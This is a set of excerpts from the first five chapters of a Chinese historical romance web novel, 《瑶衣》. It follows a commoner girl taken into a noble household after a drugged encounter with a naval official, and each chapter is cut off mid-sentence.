《瑶衣》 1. 第 1 章 《瑶衣》全本免费阅读 孟冬寒气生,夜间一场落霜,给墙上的板瓦铺了层晶莹。 清晨的薄雾犹未散去,朦朦中带着清寒。 周府东头的虹宇院,连婶才将开了院门,便闻听外头有人唤自己。 往外看去,见是伙房的卢婆子,正提着食篮站在门阶下。 “正巧往这边来,便给捎来咱院儿的朝食。”卢婆子道声,笑吟吟的上了门台来。 “倒省了我一趟腿脚。”连婶忙伸手接过食篮,顺着身形一正,站在门中,有那么点儿阻挡的意思。 她面上客气笑着,心中如何不清楚来人心思? 这虹宇院本就是府中最东头的院子,哪来的正巧经过?这个时辰伙房最为忙碌,卢婆子跑来这边,不用想也知道为了什么,便是五日前住进来的那个小娘子。 怕又是府中的哪个指使过来打探呢。 如此,不进不出的,两人隔着门槛站在垂花门下。 “里头人还没醒呢?”卢婆子踮起脚,歪着脑袋往院里头张望,“她莫不是以后就留在咱周府了?” 连婶皱眉,不好明言赶人走,只敷衍道声:“这事儿詹公子会处理,咱们不好私底下议论。” 卢婆子古怪一笑,刻意压低声音:“可我听说詹公子已经回京,不然也不会几日不回,这不就是不要她了?一个布衣女子罢了,詹公子何等家世……” 这时,西厢有了动静,紧闭的槛窗被人从里面推开一扇,不算大敞,却也能瞧见那开窗之人的一片身姿,是个女子。 晨早初醒,女子身着单衣,抬手把着窗棂,袖口滑落,露出一截白玉般的小臂,腰身纤瘦柔软。 大概是察觉到院门处有人,遥遥的点了下头,而后轻盈退开,只余一扇半开的窗。 “瞧,还有诸多事情得忙,我不送你了。”连婶歉意一笑,随后院门一拉关上。 卢婆子被隔在门外,脸色倏地一沉:“金贵什么呢,詹家那般门第能轮得到她?” 这厢,连婶开了西厢的门,把食篮往外间的桌上一搁,遂进了里间。 “瑶衣娘子起了,正好用朝食。”她笑着,视线落在床边的女子身上。 房中犹显昏暗,借着窗外进来的光线,正好看清女子的样貌。若说垂花门下的遥遥一瞥,只是觉得女子身段柔软,这样站近了看,才真真知道那张脸如何精致。 只见少女刮了床沿坐着,豆蔻般的好年纪,乌黑头发简单挽着,鬓间一缕溜发,衬得一张白皙脸儿格外精巧,哪怕荆钗布裙,也难掩娇柔美貌。 腰间扎了条紫色香罗带,轻巧的系了个花样,腰身那叫一个细巧,盈盈剔透的。 袁瑶衣没在意连婶的打量,摆好枕头,站起离开床边:“适才开窗,觉得比昨日冷,连婶记得多穿件衣裳。” “入冬了嘛,总是一日冷起一日。”连婶应着,往那床铺上一看,果真收拾得整齐,不必她再动手。 袁瑶衣点头,嘴角印着清浅的笑:“连婶昨晚睡得好吗?若还觉得入睡不踏实,我再帮你捏捏手腕。” 说着,她探出手。 “还叫娘子挂记着,”连婶笑,抬起手来往前一送,“自从你给我捏了之后,昨晚睡得安稳许多,往后我自己摁就好了,这叫神……” “神门穴。”袁瑶衣接了话,一手托着连婶的手腕,另只手点着腕间靠小拇指一侧的地方,“可舒缓神思。” 连婶看着,记下那位置:“不想娘子还懂得这些。” “祖父行过医,平时父亲也会多少帮邻里诊治。”袁瑶衣眼睫微垂,声音渐渐小了。 她没再说什么,只是力度合适的帮着连婶摁穴位。 连婶听出了话中几分怅意,毕竟闹出了那档子事儿,这姑娘以后的路还不知会怎样。 事情还要从十日前说起,周家老太爷寿辰,詹家公子来贺寿,也不知怎的,他后来要了个女子,便是眼前的袁瑶衣。 府中极力压着此事,但多少还是有风声。府中尚且如此,更何况是袁家那边。女子失了清白是天大的事,家中怎么可能继续留着她?是以,派人去接她的时候,倒是没费什么事儿。 听说,袁瑶衣不哭不闹,自己上的车。 接回来后,人便安排在这虹宇院。只是詹公子始终没来过,不知是事忙,还是另有打算。 不由,连婶想起方才卢婆子的话,说詹公子不会要袁瑶衣。这怕也是很多人的想法吧,毕竟世家子与平家女,中间差得太多。 “好了。”袁瑶衣抬眸,手里轻轻松开连婶手腕。 连婶回神,下意识捏着神门穴那儿:“娘子洗洗手,我去把吃食摆好。” 两人一前一后到了外间,袁瑶衣走去盆架前,双手洗了干净。回身时,桌上已经摆好碗碟。 她走回桌前坐下,示意身旁凳子:“连婶一起吧。” 连婶把食篮放去一旁,看似不经意的提了句:“娘子想过以后没?” 打从袁瑶衣被接进虹宇院,周家了安排她过来照料。这几日,她看得清楚,小小年纪的姑娘安分守己,没有哭闹,送来吃喝就接着,就好像没经历过那件糟心事。 袁瑶衣半仰着脸,瞧那脸盘还不如粥碗大,倏而一笑:“说眼前的话,且走一步算一步吧。” 她明白连婶的意思,之前的那宿荒唐,她和那位周家的表公子有了肌肤之亲。通常情况下,男子必然会给女子一个交代。 不过,自来了这儿,他一直没露面,她当然能猜到几分意思。 不在意罢了。 “娘子心思倒明朗。”连婶摇头一笑。 要说这话也没错,走一步算一步,也是个念头,总好过哭天抹泪、长吁短叹。 被袁瑶衣这份情绪感染,连婶也就忘了卢婆子给的不快。 。 过晌,有人来敲响了虹宇院的大门,说是周家老夫人让袁瑶衣过去。 进周府多日,袁瑶衣第一次走出了这座院子。 天色阴霾,早上的浓霜过了半日仍未化却,反而在冷风中结成薄薄的晶莹。圃中娇养的花草没了生机,蔫哒哒的,倒是那些杂草还倔强绿着。 领路的婢子走在前面,捡着僻静的路走。 后头隔着几步,是袁瑶衣和连婶。 连婶难掩喜色,悄悄压低声音:“老夫人来唤,定是公子回来了。” 袁瑶衣正看着花圃,里面有几株月季。闻言收回视线,抿了下唇,没有说话。 说起来,这位周家的表公子,她并不知道是谁,什么模样,年龄几何。那晚太黑,她只记得箍在腰间的掌控,沉重的力道,无法逃开…… 后来,去接她来的马车上,那个严肃的嬷嬷解释了当日事情始末,便是由一包媚花散引起的。 见她不语,连婶越发觉得人稳当,便就简单交代了两句,见到老夫人该怎么做。 袁瑶衣心里记下,颔首应着。 曲曲绕绕的走了一段,最后被带进一方院子。 等婢子进去通报后,这厢,袁瑶衣才走进正屋。一旁帮她打开帘子的,正是当日接她的裘嬷嬷。 对方板正着一张脸,眼神往里示意:“瑶衣娘子进来吧。” 袁瑶衣应声,往前一站,身后门帘随即落下。 抬眼看去,屋正中一张锦榻,正坐着个老妇人,衣着体面,头发花白,想来是周老夫人。 袁瑶衣垂首敛目,轻着步子上前弯腰作礼:“给老夫人问安。” 少女声音柔婉,简单几个字娓娓动听。 周老夫人掀开眼皮,盯着面前少女打量:“可还住得惯?” “谢老夫人收留,瑶衣很好。”袁瑶衣道,视线里是柔润的木质地板。 周老夫人收回目光,手往榻几上一搭:“那便好,瞧你行事也规矩,等铎哥儿回来,便安排你跟着去京里。” 京里? 袁瑶衣端着手,顿时猜到老夫人口中的铎哥儿是谁。 “老夫人,”她缓缓抬眼,对上那张苍老的脸,“裘嬷嬷 2. 第 2 章 《瑶衣》全本免费阅读 细碎的雪絮落在额头上,遇着皮肤的温热,瞬时化作一点水渍。 袁瑶衣一手提着裙子,整个人立在枯败的花丛,再次对上那道落过来的视线,心中隐隐生出什么来。 廊下,男人似乎蹙了下眉,神情好生冷淡。 连婶利落跑出来,冲着袁瑶衣招手:“瑶衣娘子快出来,公子回来了。” 只这一句话,印证了袁瑶衣心底的那个猜想。此时廊下站着的,便是那夜的男子。 她垂下眼帘,对于陡然而来的相见,有些无所适从。 若说离开家的那一刻起,知道总归会与他产生交集,这几日心里也想了许多。但对方真的出现,心中终究难做到平静。 似乎,是有那么点儿不知该如何面对。 毕竟,因为他,她的人生从此改变…… 心中盘绕着说不出的情绪,袁瑶衣从花圃出来,身子绕开那些枝条伸展的花树。还未到外面路上,便被连婶一把拉出,不着痕迹给她理了理衣裳。 “娘子过去罢。”连婶眼神示意着。 袁瑶衣轻轻应了声,面前的一截距离也就短短几步,上去了便是游廊。 她迈开步子,走去了廊阶下:“公子。” 没有上去,只是站在外面,语调轻缓的唤了声。她未抬头看他,视线落在那两级廊阶上。 须臾,头顶上方落下略低的一声“嗯”,那是他的回应。 落雪大了,廊下廊外两个世界,也是两种景色。 少女立于雪下,手里攥着半枯的月季,明明这样冷的天,却穿着秋日的衣裳,略素的松花绿,瞧着甚是单薄。或者,是她原本便瘦,穿上厚衣也看不出。 詹铎并未记得当日那女子的样貌,也不愿去回想。 只是,脑海中浮现出那白皙皮肤上的红痣,在她身前…… “公子,奴婢先回院去准备。”连婶道声,随后曲膝一福,退后两步离开了这里。 袁瑶衣下意识回头,眼看着连婶丢下自己,一会儿便没了影儿。不由,小小的一叹。 等回过头,正对上男人疏淡的脸,而他此时已经往前了两步,站在廊沿处,臂上仍旧板正搭着那片斗篷。 也不知,他是否看见了她适才的叹气。 如今这处地方,只剩他们二人,气氛有种说不出的冷凝。 袁瑶衣本来就冷,呆在这儿也无甚话说,便道:“公子有事交代么,我……” “袁瑶衣?” 她的话未说完,詹铎的出声给压了回去,清冷的声音带着生疏感。 袁瑶衣脸庞微低,晓得他是在询问自己的名字:“是。” 接着又是无话,她瞧见视线里出现素青色的袍角,是他出了游廊,站到了她面前。 心中无端的生出紧张,袁瑶衣浑身一僵,不免想起那一宿来,黑暗中的禁锢,下意识想退后躲开。 恰巧,一团落雪钻进她脖颈中,凉得她一个激灵。 她的微小反应,落在詹铎眼中,像是惧怕:“缺少什么,吩咐下人便可。” 袁瑶衣见他瞟了眼自己手里的月季,大概是不明白她为何采这些枯花。自然,冬日里冷,万物萧条,不过富贵人家并不缺新鲜花朵。 她并不多说,只道声好。 “雪天路滑,回去罢。”詹铎道声,随后手臂一展,利落将斗篷披于身上。 袁瑶衣往旁边一让,默不作声,两步外的那片素青袍角一晃,随即离开了视线。 等詹铎走远,她紧绷的肩膀松缓开。看过去时,男人的身影已经消失,只余薄雪上留下的两串脚印。 两人在这儿站了些时候,可真算起来,好似并没说什么。 。 天色开始发暗,雪越发下大。 虹宇院从来紧闭的院门,此时大敞而开,下人们有条不紊的进出,清扫道路也好,往正屋送东西也好。 比起前几日,不知热闹了多少。 西厢里生了炭盆,烘得房中暖融融的。 连婶推门走进来,拍打掉身上的雪:“我看这雪得下一整宿,明儿起来,指不定有多厚。外面的活儿咱插不上手,干脆来屋里躲雪。” 清理干净,她看去坐在桌旁的袁瑶衣。 袁瑶衣一笑,嘴角弯起柔软的弧度:“连婶坐下暖暖。” 连婶搓着手走过去,看见袁瑶衣手里摆弄着一朵月季,正是从花圃中折回来的:“还没问,娘子拿这枯花做什么?” “其实没枯,只是天冷,它来不及开放,”袁瑶衣道,晃了晃手里的花,“你看。” 她拿着干枯的花骨朵,指尖轻巧剥去外头不成样子的花瓣,来回这么两下,居然露出来里面的娇嫩花瓣。 鲜红的,很是艳丽。 连婶拉了凳子坐下,凑近去看:“果然是新鲜,我平日里真不曾注意。” 袁瑶衣拿一个小筐往面前一放,手里利索的将鲜花瓣剥落:“用来泡茶喝,可以温和肠胃,活络气血。” 很快,那些花瓣满了筐底,她手一推,送去连婶手边。 “给我的?”连婶笑,“我随便唠叨一两句,娘子倒是记着了。” 袁瑶衣坐直,手指沾了点花汁:“连婶这几日一直帮我,我也不会别的。” 她从家里离开时,没有带一点儿东西,不想平时知道的一点点医理,此时派上了用场。 果然,多学些东西总是有用的。 连婶瞅眼小筐,然后看回对面的少女:“公子回来了,娘子该走近些。” 话虽内敛,但是袁瑶衣一听便明白。发生了那件事,她又离了家,旁人眼中,似乎她以后只能依附周家这位表公子…… “我同老夫人说,想留在周家。”她淡淡一笑,描出一张明媚的脸。 “什么?”连婶不由高了声调,一脸不可置信,“你在这里等了五日,可就是为他呀。” 心道,这小娘子是看不清状况吗?脑袋里装着什么?如今这局面,能依仗的只有詹铎,她这还往外推。 “我说娘子诶,今儿可要你知道知道,咱们这位公子何许人也,他可是京城邺国公府的大公子,詹铎。”连婶坐近了些,一股脑儿说着。 之前压着不说,是因为不确定詹铎的意思,万一他并不想要人呢?可如今他回来周家,又叫下袁瑶衣说话,明摆着是认这桩事的。既然明出来,也没什么瞒着的必要。 袁瑶衣听了,微微一诧,之前只道是周家表公子,却不想是这样的身份。虽不太明白那些世家如何,但是以前在家时,兄长多少与她讲过一些。 见她发愣,连婶伸出自己五根手指:“他如今任水师提举,正五品。就今年春,朝廷的百艘战船自东海北上,于龙虎岛突袭意欲南下侵扰我朝的北昭国,大败对方,便是他的手笔。立此大功,此番便是回京述职受封的。” 一个世家才俊,有勇有谋,前途自然不可限量。再者还是家中长子,后面袭爵是必然。 要不然,这府中也不会有人生出心思,用上那歹毒的媚花散。只是人算不如天算,这事儿阴错阳差的让袁瑶衣受了。 听完这些,袁瑶衣面上平静,心湖中微微涟漪:“连婶觉得,我跟去了京城,会怎样?” 这一问让连婶怔住,嘴唇动了几动,不知怎么说。 在周家许多年,她明白高门的规矩多,比如府中哥儿成亲前不得纳妾,顶多房中收个侍婢。周府尚且如此,可想而知,京城国公府的规矩只会更严苛。 想来,詹铎的正妻进门前,袁瑶衣得不到名分,好的话也就是房中侍婢。 “事情到了这儿,你怎么样都要往下走不是?”连婶轻叹一声,“世道艰难,给女子家走的路,不多。” 袁瑶衣静静听着,有些话连婶说得没错。 现在她知道了詹铎的身份,并没有因为连婶的话儿产生攀附心思。这五日,她被隔绝在这虹宇院中,所受的待遇,即便再迟钝,也会明白一些事。 士族高门,阶级差异,哪有什么真的好日子? 天黑了,屋里更加昏暗。 连婶去墙边点了灯台,手里端着往回走的时候,看见袁瑶衣还坐在桌边,柔眉顺眼,似乎在寻思什么。 没一会儿,有人来传话,说詹铎离了府,晚上不回院里用膳。 虹宇院停止了准备,整间院子安静下来。 袁瑶衣在西厢独自用了饭,饭后,她拿月季花瓣泡了水。 这花 3. 第 3 章 《瑶衣》全本免费阅读 “这个?”袁瑶衣手指指着桌边的文书,声音很轻。 烛火耀映中,她精巧的脸镀着轻暖的光,眉眼柔和。或许是过于小心,自唇边轻轻而出的相问,于这安静书房中,倒有几分低低呢喃的意思。 詹铎的目光自她脸上下移,落去桌边:“这事是让周家办的,接你来的那日。” 简单几个字,说明了这张文书的由来。 袁瑶衣眉间蹙了下,看着文书上的字字句句。虽然认识的字不多,但是顺着看下来,也能知道上头有什么。 文书的订立日期,她的名字、生辰,具体的聘银,以及父亲袁僖亲笔的落款。 纳妾文书,把她给了詹铎做侍妾。 她不知道有文书的存在,也明白上来,白日里周老太那些话的意思。结合适才詹铎所说,应当是当日她从家里出来,上了马车,裘嬷嬷在屋里同父亲写好的吧。 “你不知道?”詹铎看出什么,淡淡问了声。 然后,就见袁瑶衣摇了下头。 安静的房内,两人隔着一张书桌,相互对望。 原本就是那晚的事儿,两个人交集在一起,除却这一层,两人根本就是陌生的。 袁瑶衣最先垂下眼帘,有了纳妾文书,那她一定要跟着詹铎吧? 只是,父亲居然收了这样多的一笔聘银…… “公子先忙。”她往后退开,不想冒昧继续打搅对方。 詹铎眼见桌前身影移开,遂放下手中的笔,搁回笔架上,动作一派舒雅清淡:“无妨。” 又是安静,让人好生不自在。 袁瑶衣再往书桌后看的时候,詹铎正捏着那张文书看,面无情绪。 要说这文书,得落款上他的名字才算完整,如今上头并没有,可见他是犹疑的吧。 她不好问,就静等着,没来由想起连婶叮嘱过的话,说她若留在这边伺候,届时该如何做…… “原本,”詹铎疏淡的嗓音打破安静,看向几步外女子,“这些事本该我来处理,只是近日事多,顾不上。” 袁瑶衣看他,琢磨着他话里意思,是说这些都是他授意安排? 见她不言不语,詹铎将那文书折好收起:“我需得在闳州这边待几日,你且先住在周家。” 话语生疏而简单的交代,没有原因,也不给为什么。 袁瑶衣心里想问什么,又不知道该怎么问。 不过也晓得,如今自己的命运握在詹铎手中,去或者留,得他来松口。 恰在这时,房中的灯灭了,那灯罩中的烛火已然燃尽,瞬时一阵昏暗。 “公子这里可有蜡烛?”袁瑶衣开口问。 不再去想那文书之事,左右这麻烦事儿又不是一两句话说得清。只要别让她回家,许给那老财主就好。 倒不如先解决眼前,把灯点了。 “高橱的架上。”书桌后,詹铎立在暗处。 闻言,袁瑶衣应声好,往四下一看,遂走去了高橱下。 西间的灯虽然灭了,但外间灯光进来,倒也不算漆黑不能视物。 她站在橱前,下面的两层摆着些物件,没有蜡烛,那便是放在了最上头的那层。 没有凳子给袁瑶衣踩,她便就伸直手臂,够上最高那层,手在黑暗中摸索。可上面空荡荡的,什么也没有,即便翘了脚尖。 心中不由腹诽一声,是不是詹铎说错了?毕竟他都几日没回来住,白日里还有人进来整理过。 正当手臂发酸,准备放弃的时候,身后一顾微微的气流过来。 接着,身旁上来一方阴影,还未来得及反应,她那摸索的手碰触上一点温热,是人的手指。 她倏地一怔,手飞快得收回来,身形下意识往后退。明白上来,是詹铎站来了旁边,她摸上的是他的手。 因为太急,身子一晃撞上橱架,上面摆的器具发生晃动。 一只手适时过来,稳稳托上她的臂肘。 “我来吧。”是詹铎没有情绪的声线。 昏暗中,这陡然的接近,袁瑶衣抑制不住的想到了那晚,身形僵着。 詹铎是上过战场的人,手里怎会感觉不到袁瑶衣的那份僵硬?在他身旁,她单薄又弱小,那只犹抬在眼前的手,带着淡淡的花香。 “嗯。”袁瑶衣手臂一收,从詹铎的手中脱离,稳着站出两步远。 她胸口跳着,即使知道当日那荒唐事的始末,但是毕竟真是发生了,心底最深处的抵触根植在那儿。 男人高大的身形立在面前,带着一种难以言喻的压迫感,昏暗中尤甚。 詹铎手里一空,那截细细的手臂擦着掌心离开,随后手接着抬高,落去橱架的最上层。 “在这儿。”他自角落的盒中拿出一根蜡烛,身量高,于高处取一件物什,自然轻而易举。 袁瑶衣嘴角动了动:“我去点上。” 说着,她从他手里接过蜡烛,旋即离开橱边去了外间。 等走出来,袁瑶衣终于深吸了口气,手里揉了下撞疼的肩头。 “拿根蜡烛而已。”她小声嘟哝着自己大惊小怪,詹铎只是相帮,又没做别的。 想着,心绪平静下来,拿着蜡烛去了墙边的灯上点着。 正好门帘被风掀开一角,瞧见外面一眼,雪还在下,而詹铎也不曾开口她回去。 袁瑶衣手里端着蜡烛,回到西间。 书桌旁,詹铎站在那儿,见着光亮从外间进来,手臂一抬:“给我吧。” 袁瑶衣脚下顿住,把蜡烛还去詹铎手中。然后见他握上,将蜡烛稳稳栽倒烛台上,最后罩上薄纱灯罩。 他的手白皙修长,并不似是武人的手,她却知道这双手有多硬…… 詹铎做完这些,余光中,少女站在身旁,还是那件朴质的松花绿衣裙,有些旧。方才不经意的接触,确定就是秋装。 “袁瑶衣。”他转过身来,正对于她。 哪怕是第二次他唤她名字,声音中仍是清淡的生疏。 袁瑶衣抬眼看他。 “这件事,”詹铎看去那双清澈的眼睛,话音一顿,“即发生了,我便一定会给你交代。” 房中一静,屋门上挂的棉帘被风吹着,中间支撑的定板一下下敲着门框,出来轻微的响声。 袁瑶衣胸口一堵,喉咙像被什么给卡住。他说会给交代,却没明说如何,她倒不知该怎么回。 “天也晚了,你回去吧。”詹铎道,随之绕回道书案后,捡起那支笔头已经半干的狼毫,于砚台上润了润,继续着那张书写。 袁瑶衣道声好,而后从正屋里出来。 外头飘着雪,世界无比安静。 守在外面的重五跑过来,帮着掀起棉帘。 “我给娘子打伞。”他捡起支在门边的伞,作势就要撑开。 “不用,几步路。”袁瑶衣摆手,又指指西厢,“在家时,下雪也没有打伞的习惯。” 她是小镇子上长大的姑娘,没有高门中女子的那些娇气。 重五笑笑作罢:“那娘子你小心脚下。” 袁瑶衣踩着阶下到院中,脚下轻巧的踩着雪地,很快到了西厢,进门前朝重五挥了下手。 这厢,重五将自己收拾利索,进了正屋。 詹铎已经写完信,手中甩了两下,见上头墨迹干透,遂折起塞进信封中,动作一气呵成。 “明日将信寄回京去。”他把信封往桌上一搁,吩咐了声。 可巧,信正好落在方才放纳妾文书的地方,不禁想起刚才身旁的女子。人是走了,可总觉得那丝香气还在。 重五将信拿起,道声好:“公子准备回京了?” 詹铎坐下,随手捞起一本书来看:“这边的事还没做完,结束了再回去,年前赶得及。” “那先安排瑶衣娘子回去?”重五又问,有些事儿提前问好,也好早准备。 想起袁瑶衣,他便替人觉得屈。这周府中的姑娘不安分,偏偏遭在她头上,着实荒唐。 詹铎眼帘微垂,掩住 4.第 4 章 《瑶衣》全本免费阅读 外头的冷风钻进来一些,摇着袁瑶衣的裙摆。 “没想好。”她从唇间送出三个字,想了想这回门二字到底不合适, 詹铎听了只微颔了下首,没再多问。 于氏迎上前来两步,笑着道:“放心吧,舅母会把事情交代好,你忙自己的事儿就成。” 若说正规纳妾,夫主是要陪同一起回门的。不过袁瑶衣这事儿有些不一样,以詹铎的身份不可能去袁家,况且他还有那许多的公务。于是借着于氏巧妙的话,便顺理成章略了过去。 詹铎走去了周老夫人身旁,弯腰行礼,自带一股矜贵气质。 后者一脸笑意,指着旁边位置示意他坐下,嘴里说着叮咛的话。 正堂多了丝热闹的气氛,所有人的目光聚焦到这位青年郎君身上,是仰望与赞赏。 如此,袁瑶衣倒是不知该走还是留了,若是掀帘子离开显得突兀,干脆就安静站在门边那儿。左右,也无人在意。 堂中不时响起笑声,人人神情愉悦。 “闳州的事,你外祖父并几个舅舅都能相帮,就是你那几个表兄弟,也可随时使唤他们。”周老夫人关切几声,脸上满是对这个外孙的骄傲之情: “是,”于氏忙接话,“一家人,合该互相照应。” 相对于周家人的热络,詹铎只客气回应:“只是巡视一下这边的水营布防。” 旁的也没多说,过来给长辈请个安好,只坐了一会儿,就起身离开。 于氏跟在一旁相送,有意无意的提及自己子女。 走到门边,早有婆子掀起门帘。 外头的光亮洒进来一些,映出门边的一方裙角。 詹铎视线一侧,瞥见安静站着的袁瑶衣。可能她站的地方光线昏暗,又可能她太静了,他都不知她还留在这里。 “回去罢。”他薄唇一启,送出三个字。 袁瑶衣抬眸:“嗯……” 字音还未完全说出,只见面前光线一暗,门帘落了下来,他已经出了门去。 袁瑶衣将唇角一抿,朝两步外的于氏福了一礼,而后走出了正堂。 外头冷得厉害,树木萧条着,没有一点儿精神。 袁瑶衣往院外走,候在外头的连婶连忙跟上。 “我瞧着,公子当是会随娘子一道回门的。”才出安德院,连婶笑着道了声,双手冻得拢进袖中。 两人走在回虹宇院的小道上,袁瑶衣看着前路,心中并不这样觉得。 她与詹铎有过肌肤之亲不假,可是明明白白的知道,他对她谈不上什么有情,更没有喜欢。那份冷淡,她怎会感觉不到? 最多,他对她只是不得不负的责任罢了。 话说回来,她对他亦是。不过是眼下没办法,捆在一起的两个人。 “阿婶说笑。”袁瑶衣浅浅一笑,哪里不知这是连婶的安慰? 连婶跟着笑笑,她眼里,袁瑶衣是个无可挑剔的好姑娘,性子好、模样儿好,瞧着柔柔的,让人心生疼惜。 两人不时说上两句,让这清冷的天儿多了分热闹。 而这厢,安德院也静了下来。 于氏扶着周老夫人往内室去,笑吟吟道:“咱们铎哥儿当真人才一表,前途无量,可惜我那苦命的姐姐看不到了。” 闻言,周老夫人叹了一声,想起自己死去多年的长女:“铎哥儿小小年纪丧母,与周家这边的确生疏。” “那便让他在家里多留些日子。”于氏道,“这水营的事又不麻烦,他日日待在那边着实不如家里舒适。” 周老夫人瞅了于氏一眼:“他说一句巡视水营,你就信了?” “那是……”于氏面上疑惑。 “他一向心思深,留在闳州这么多日,必然是有别的事要做。”周老夫人没再多说,往前迈了一步,“咱也无需过多去问,只需将瑶衣的事办妥帖了,有了她,铎哥儿也算与周家有着联系。” 于氏明白老夫人的意思,周家弱,以后必有靠着詹铎的时候:“到底她是一个乡野女子,换做周家的姑娘,必然一切都好说。” “胡闹!”周老夫人斥了声,眼中几分阴沉,“前面这桩事还没看出教训?他不追究,已经不错了。” 说着,手一抽,转而扶上裘嬷嬷的手臂。 谁会不知道詹铎娶周家姑娘最好?可是,算计来的姻缘,日后哪有好?真当詹铎是个好拿捏的? 至于袁瑶衣,一介平民女子,能用就用,用不上也没什么所谓。 左右,一个成不了正妻的人,碍不着什么。 。 现今的虹宇院解除了封闭,不再像之前那般紧闭院门,即便詹铎只回来过一次,这边依旧留着原先的下人。 傍晚时分,袁瑶衣出了虹宇院,在周遭看看。并不往别处去,她是想寻些月季来泡茶。 只是现在很难找到,万物惧已枯萎。出来走了一会儿,采到的也就小小的两三枝。 正待往回走,听到有人呼唤一声。 袁瑶衣转身,看见一个婢子走近,两步外站定,对她屈膝一福。 “娘子,大夫人叫你过去。”婢子淡淡道。 袁瑶衣应下,遂跟着对方一起前去。 曲曲绕绕的,最后到了一处六角亭。夕阳惨淡的余晖落下,将这一处渲染的略显寂寥。 亭外站着几个少女,之间嬉笑说闹着。看到袁瑶衣走近,俱是瞧了过来。 亭中,正坐着于氏母女,两人不知说到了什么,彼此相视一笑。 “快进来。”见到袁瑶衣站在亭外,于氏抬手勾了勾。一抹笑自唇边绽开。 袁瑶衣应声,轻巧着步子经过几名少女,耳边钻进一声轻嗤。 大概是没有想掩饰的意思,女子们眼神中的傲慢明显,甚至能听见她们彼此间的低语。 “就是她啊?身为女子做出如此羞耻事……” “可不是嘛。” 袁瑶衣胸口一闷,指尖掐进手心,抬脚踩上亭阶,而后迈步进了亭中。 亭子四下垂着挡风的竹帘,并不像外头那样冷,只是冷风仍然通过帘隙丝丝进来,同样挡不住外头的讥诮。 桌上摆了小碳炉,上头煮着茶,正咕嘟咕嘟的冒着热气。于氏母女包裹的严严实实,坐在那儿聊家常。 “你摘枯花做什么?”周巧月往袁瑶衣手里看,瞧着那两枝蔫儿哒哒的月季。 袁瑶衣只说回去泡水。 闻言,周巧月握着茶盏,展颜笑道:“我房中有各种香料和干花,等让人给你送些去。” “对,”于氏接过话来,满意的看了女儿一眼,“女子家的,该好好保养自己。” 袁瑶衣的月季另有用途,倒不是用来做保养。只是于氏话说出来,她也不好当着许多人的面拒绝。 “夫人唤我过来,是有事吩咐吗?”她站在入口的亭柱旁,身形纤纤。 于氏颔首,接着往周巧月示意了眼。 周巧月会意,从座上起身:“母亲,我先回去了。” 说完,人袅袅娜娜出了六角亭,与那群少女一起,离开了这里。 桌边,于氏一直目送着女儿背影,眼中满是宠爱:“这些都是咱们周家的姑娘。” 她兀自倒了盏茶,脸上得体笑着:“你也不必拘谨,往后和她们熟络了,自然有的话说。” “知道了。”袁瑶衣微微应了声。 于氏正正身形:“说起回门的事儿,你打算哪日?” 回门两个字,在袁瑶衣听来总觉别扭。要说那个家,如今回与不回有甚区别?父亲的眼里,她坏了袁 5.第 5 章 《瑶衣》全本免费阅读 “嗯,”詹铎鼻间轻送出一声,算是回应,“怎么来这边了?” 他看着假山边单薄的身影,她手中攥着两朵枯花,像第一次见她时一样。 周遭已经黑下来,冬日里的光明让人总觉得短暂。 袁瑶衣瞧眼自己站的位置,在假山下,不容易被发觉,着实像是在偷听别人的谈话…… “我在找回虹宇院的路。”她回道。 几步外,詹铎迈动步子,下垂的斗篷随着他的动作而轻摆。 袁瑶衣眼见他走到自己跟前来,原本掐着的手更紧了几分。对于这种接近,身体本能的僵硬,还有心底深处的那股抗拒的惧意,使得呼吸瞬间凝滞住。 “跟上。”詹铎道,脚下稍顿一下。 说罢,他继续往前走去,踩上一条石径。 袁瑶衣侧了下脸,看到詹铎已经走出几步远。原本紧绷起来的双肩,渐渐松缓开。 同时也反应过来,詹铎叫她跟上,应当是回虹宇院。 她长吐出一口气,借以疏散团在胸口的憋闷。随之,她迈步跟上詹铎的方向。 前路蜿蜒着,四下昏暗着。 两人一前一后走着,耳边只有风声和脚步声。 女子的步子小,每每袁瑶衣都会被落下几步,然后她便小跑着跟上去,始终就是离着五六步远的样子。 前面,詹铎步伐略急,不知是不是有什么事要急着去办。 袁瑶衣看着他的背影,今日她出来一趟,便听人两次提起她和他的那件事。为何会传成她设计他?整个周家都这样传,那么他肯定也听到了…… 流言如虎,原来离了家,这些仍旧甩不掉。 正想着,她抬眼看见詹铎转过了一道月亮门,已经落下一段的她,便又小跑着去追他。 袁瑶衣提着裙子,利落的跑过月亮门,正要继续往前,突然发现詹铎站在前面,微侧着身形,似乎是在等她。 眼看就要撞上他,她连忙停下脚步。可能是收的太急,脚下蓦的一滑,整个人往一旁歪倒。 就在她要摔去地上的时候,一双手臂过来,将她稳稳捞起,她的前额撞上一堵肉墙。 清冷的气息不期然闯进鼻间,袁瑶衣手里下意识抓着什么想稳住,待听见头顶的一声吸气,她反应上来,遂抬起头。 是詹铎接住了她,正垂眸看她,而她正扑在他的身前。姿态说不出的怪异,半揽半拥着,他撑开着斗篷,恰就如同要将她纳入怀中般,好生的亲昵暗昧。 袁瑶衣倏地瞪大眼睛,她半仰的脸上,清晰感受着他落下来的呼吸,两双眼睛近在咫尺,她甚至清楚的看到他眼底的疏冷。 “对,对不起。”她道着歉,慌忙地从他身前离开。 她往后退着,脚跟撞上墙角,方才停下。 詹铎双臂一松,抬眸去看,那抹纤薄的身影已经站去墙下。 也是他心中想着别的事,步伐快了些,一时忘了后面还跟着她。想起那件未解决的事,眉间不禁微蹙。 “这条道走到底,”他慢条斯理站起,眼神示意前方的路,“左转就到了。” 宽大的斗篷重新将他的身形遮住,说完没再停留,走上了另一条路,身影很快消失在黑暗中。 袁瑶衣看去詹铎指的那条路,见到一小片花坛,正是她摘月季的地方。再看去他离开的地方,早就没了人影。 她清晰记着他方才的皱眉,那是人心中不悦的直接表面。是不是,他认为刚才的脚滑是她故意所为?就像卢婆子说的,她想要“黏着”他? 等回到虹宇院的时候,天已经彻底黑透。 连婶已经回来,面上没有任何异样,就如往日中一样。 袁瑶衣心中发暖,或许如今的境遇迷茫,但是也有连婶这样的好人帮她。外面那些腌臜话不会说给她听,倒是一再宽慰她。 “娘子去学塾也好,府里请的女先生可是了不得的人物,才学不比男子差。”连婶边收拾边道,不由叹了声,“可惜世道不许女子科考,有一肚子学问,也就做个女先生。” 这话的确不错,自古以来的男尊女卑。万事男子做主,女子需遵从、服从…… 就如同袁瑶衣与詹铎的事,众人会宽容詹铎,但是对她却相当苛刻。她并没错,却背上许多,以至于在家乡待不下去,努力想找一条出路。 